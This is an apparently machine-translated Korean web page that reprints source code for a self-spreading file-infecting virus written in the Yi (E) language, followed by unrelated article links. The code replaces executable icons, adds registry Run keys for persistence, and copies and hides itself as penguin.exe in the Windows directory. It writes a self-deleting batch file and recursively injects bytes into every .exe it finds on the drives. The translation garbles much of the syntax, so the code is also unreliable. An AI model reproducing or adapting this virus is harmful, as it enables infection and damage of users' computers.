기금넷 공식사이트 - 주식 지식 - Guiqiu: Yi 언어로 작성된 감염성 바이러스 소스 코드..
Guiqiu: Yi 언어로 작성된 감염성 바이러스 소스 코드..
.버전 2
.지원 라이브러리 eAPI
리소스 파일 아이콘 추출(실행 디렉터리 가져오기() + "\" + 실행 파일 이름 가져오기) (), 0, "C:\windows\system32\Aver.ico", ) '시스템 exe 아이콘 교체
등록 항목 쓰기(#local machine, "SOFTWARE\Classes\exefile\DefaultIcon\ ", "C: \windows\system32\Aver.ico”) ' 레지스트리 키에 쓰기
레지스트리 항목 쓰기(#현재 사용자, “Software\Microsoft\Windows\CurrentVersion\Run\” + 실행 파일명 가져오기( ), 실행 디렉터리 가져오기() + "\" + 실행 파일 이름 가져오기()) ' 트로이 목마를 복원하고 삭제 후 자동으로 시작할 수 있도록 레지스트리 키 값을 씁니다.
.true인 경우(실행 디렉터리 가져오기() ≠ 환경 변수 읽기("Windir"))
파일 복사(실행 디렉터리 가져오기() + "\" + 실행 파일 이름 가져오기) (), 환경 변수 읽기 ("Windir") + "\penguin.exe")
실행 ("Cmd /c Attrib H S" + 환경 변수 읽기 ("Windir") + "\penguin.exe" exe", true, 1)
실행(환경 변수 읽기("Windir") + "\penguin.exe", false, )
파일에 쓰기(환경 변수 읽기( "Windir") + "penguin.bat", 바이트 세트로 (" @echo off" + #Newline 문자 + "Taskkill /f /im" + 실행 파일 이름 가져오기 () + #Newline 문자 + "Del" + 가져오기 현재 디렉터리 () + “\” + 실행 파일 이름 가져오기 () + # 줄 바꿈 문자 + "Del 0" + # 줄 바꿈 문자 + "Exit"))
파일에 쓰기(환경 변수 읽기) ("Windir") + "\penguin.bat", 바이트 세트로(하위 텍스트 대체(하위 텍스트 대체(텍스트로(파일 읽기(환경 변수 읽기("Windir") + "penguin.bat"))), "C: \Documents and Settings", "C:\DOCUME~1", , , false), "Windows", " ", , , false)))
실행(환경 변수 읽기("Windir") + "\penguin.bat", true, 1)
. true이면 종료
. true이면 실행 디렉터리 가져오기() = 환경 변수 읽기("Windir"))
등록 항목 쓰기(#로컬 머신, "SOFTWARE \Microsoft\Windows\CurrentVersion\Run\penguin", 환경 변수 읽기("Windir") + "\penguin.exe")
파일에 쓰기(환경 변수 읽기("Windir") + "Infection .exe", #infection)
실행(환경 변수 읽기("Windir") + "\Infection.exe", true , 1)
. true인 경우
Drive = 드라이브 목록 가져오기()
>.버전 2
.하위 프로그램 검색
.매개변수 디렉터리, 텍스트 유형
.로컬 변수 파일 번호
.로컬 변수 파일 이름, 텍스트 유형
이벤트()를 처리합니다
. true인 경우(텍스트(디렉터리, 1) ≠ "\")의 오른쪽을 가져옵니다.
디렉터리 = 디렉터리 + "\"
. 끝나는 경우
파일 이름 = 검색 파일(디렉터리 + "*.exe", )
을 결정합니다. 루프 헤드(파일 이름 ≠ "")
디버깅 텍스트 출력(디렉터리 + 파일 이름)
파일 번호 = 열린 파일(선행 및 후행 공백 삭제(디렉터리 + 파일 이름), #읽고 쓰기, #제한 없음)
바이트 세트 삽입(파일 번호, #아이콘)
파일 닫기(파일 번호)
파일 이름 = 찾기 파일(, ) p>
루프의 끝을 결정합니다()
파일 이름 = 파일 찾기(디렉터리 + "*.*", #하위 디렉토리)
. 루프의 시작을 결정합니다(파일 이름 ≠ “”)
.true인 경우(텍스트의 왼쪽(파일 이름, 1) ≠ “.”)
검색(디렉터리 + 파일 이름)
.true 종료일 경우
파일 이름 = 검색 파일(, #하위 디렉터리)
를 결정합니다. ()
원본, 퍼뜨리지 마세요 =.=
- 관련 기사
- 미국에는 유명한 TV 방송국이 몇 개나 있나요?
- 햄릿의 화법이론과 극적 아이러니(3)
- 삼국지 시간여행 장편 소설을 찾고 있습니다
- 얼굴 모양을 바꾸는 데 비용이 얼마나 드나요?
- 불안감을 느끼는 사람은 어떻게 해야 하나요?
- 왜 많은 사람들이 왕쓰총을 싫어할까요?
- Pan Jinlian의 IP는 이전에도 국내 영화 및 TV 관계자가 플레이한 적이 있습니다.
- 양근의 저택 내부가 노출됐다. 왜 사람들은 KTV처럼 디자인됐다고 하는 걸까.
- Cotton Times는 여성을 모욕했다는 이유로 광고를 삭제했습니다. 이 광고는 어떻게 여성을 모욕했습니까?
- 곧 해외로 가시나요? 우리나라가 갑자기 '국제보건법'을 발표하고 CCTV가 '백신여권'을 발표했다.